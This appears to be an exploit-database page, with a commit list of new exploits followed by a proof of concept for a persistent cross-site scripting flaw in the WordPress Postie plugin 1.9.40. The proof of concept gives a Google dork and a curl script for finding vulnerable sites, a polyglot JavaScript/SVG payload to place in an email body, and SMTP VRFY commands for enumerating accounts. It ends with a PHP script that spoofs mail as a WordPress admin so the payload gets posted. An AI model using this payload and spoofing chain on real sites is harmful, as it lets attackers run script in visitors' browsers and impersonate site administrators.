1a9ce31a5f
12 changes to exploits/shellcodes SunOS 5.10 Generic_147148-26 - Local Privilege Escalation Microsoft Windows - CryptoAPI (Crypt32.dll) Elliptic Curve Cryptography (ECC) Spoof Code-Signing Certificate Microsoft Windows 10 (19H1 1901 x64) - 'ws2ifsl.sys' Use After Free Local Privilege Escalation (kASLR kCFG SMEP) Sagemcom F@ST 3890 (50_10_19-T1) Cable Modem - 'Cable Haunt' Remote Code Execution VICIDIAL Call Center Suite 2.2.1-237 - Multiple Vulnerabilities ManageEngine EventLog Analyzer 9.0 - Directory Traversal / Cross-Site Scripting ManageEngine Firewall Analyzer 8.0 - Directory Traversal / Cross-Site Scripting VICIDIAL Call Center Suite - Multiple SQL Injections Online Book Store 1.0 - 'bookisbn' SQL Injection WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting Rukovoditel Project Management CRM 2.5.2 - 'reports_id' SQL Injection Jenkins Gitlab Hook Plugin 1.4.2 - Reflected Cross-Site Scripting Online Book Store 1.0 - Arbitrary File Upload Tautulli 2.1.9 - Denial of Service ( Metasploit ) Citrix Application Delivery Controller (ADC) and Gateway 13.0 - Path Traversal Rukovoditel Project Management CRM 2.5.2 - 'entities_id' SQL Injection Rukovoditel Project Management CRM 2.5.2 - 'filters' SQL Injection
85 lines
No EOL
3.4 KiB
Text
85 lines
No EOL
3.4 KiB
Text
# Exploit Title: WordPress Plugin Postie 1.9.40 - Persistent Cross-Site Scripting
|
|
# Google Dork: inurl:/wp-content/plugins/postie/readme.txt
|
|
# Date: 2020-01-15
|
|
# Exploit Author: V1n1v131r4
|
|
# Vendor Homepage: https://postieplugin.com/
|
|
# Software Link: https://wordpress.org/plugins/postie/#developers
|
|
# Version: <=1.9.40
|
|
# Tested on: Linux
|
|
# CVE : CVE-2019-20203, CVE-2019-20204
|
|
|
|
## Identifying WordPress Postie Plugin installation
|
|
|
|
#!/bin/bash if curl -s -o /dev/null -w "%{http_code}" http://<domain.com>/wp-content/plugins/postie/readme.txt | grep 200 > /dev/null; then echo "" echo "Postie installed!" else echo "" echo "Postie seems not to be installed" fi
|
|
|
|
## Performing persistent XSS using Polyglot JavaScript syntax with crafted SVG (CVE-2019-20204)
|
|
|
|
# the syntax below should go as email body
|
|
|
|
jaVasCript:/*--></title></style></textarea></script></xmp><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(You've been hacked)//'>
|
|
|
|
## Email to post on Postie
|
|
|
|
- Identifying the mail server
|
|
|
|
dig domain.com mx
|
|
|
|
- enumerating accounts via SMTP
|
|
|
|
telnet domain.com 587
|
|
EHLO buddy
|
|
mail from:<sender@example.io>
|
|
rcpt to:<user@domain.com>
|
|
vrfy user@domain.com
|
|
|
|
|
|
- listing accounts via third party software
|
|
|
|
You can use these third party software and APIs to enumerate target email users:
|
|
- https://www.zerobounce.net
|
|
- https://tools.verifyemailaddress.io/
|
|
- https://hunter.io/email-verifier
|
|
|
|
|
|
|
|
## Spoofing with PHPMailer
|
|
|
|
|
|
<?php
|
|
|
|
/* CONFIGURE PHP IF NEEDED */
|
|
// ini_set("sendmail_from","$fromFull");
|
|
// ini_set("SMTP","mail.domain.com");
|
|
// ini_set('smtp_port',587);
|
|
// ini_set('username',"user");
|
|
// ini_set('password',"pass");
|
|
|
|
|
|
// COMPOSE
|
|
$to = 'postie@domain.com';
|
|
$subject = 'Title of your post';
|
|
$message = 'You've been hacked :-)';
|
|
|
|
|
|
// BASIC HEADER
|
|
$headers = 'From: wordpress.admin@domain.com' . "\r\n" .
|
|
'Reply-To: wordpress.admin@domain.com' . "\r\n" .
|
|
'X-Mailer: PHP/' . phpversion();
|
|
|
|
|
|
// SEND AND SHOW MESSAGE
|
|
if (mail($to, $subject, $message, $headers)) echo $headers.'<h1>Mail sent!</h1>';
|
|
else echo '<h1>Something went wrong...</h1>';
|
|
|
|
|
|
// FULL HEADER
|
|
// $headers = "From: testsite < mail@testsite.com >\n";
|
|
// $headers .= "Cc: testsite < mail@testsite.com >\n";
|
|
// $headers .= "X-Sender: testsite < mail@testsite.com >\n";
|
|
// $headers .= 'X-Mailer: PHP/' . phpversion();
|
|
// $headers .= "X-Priority: 1\n";
|
|
// $headers .= "Return-Path: mail@testsite.com\n";
|
|
// $headers .= "MIME-Version: 1.0\r\n";
|
|
// $headers .= "Content-Type: text/html; charset=iso-8859-1\n";
|
|
|
|
?> |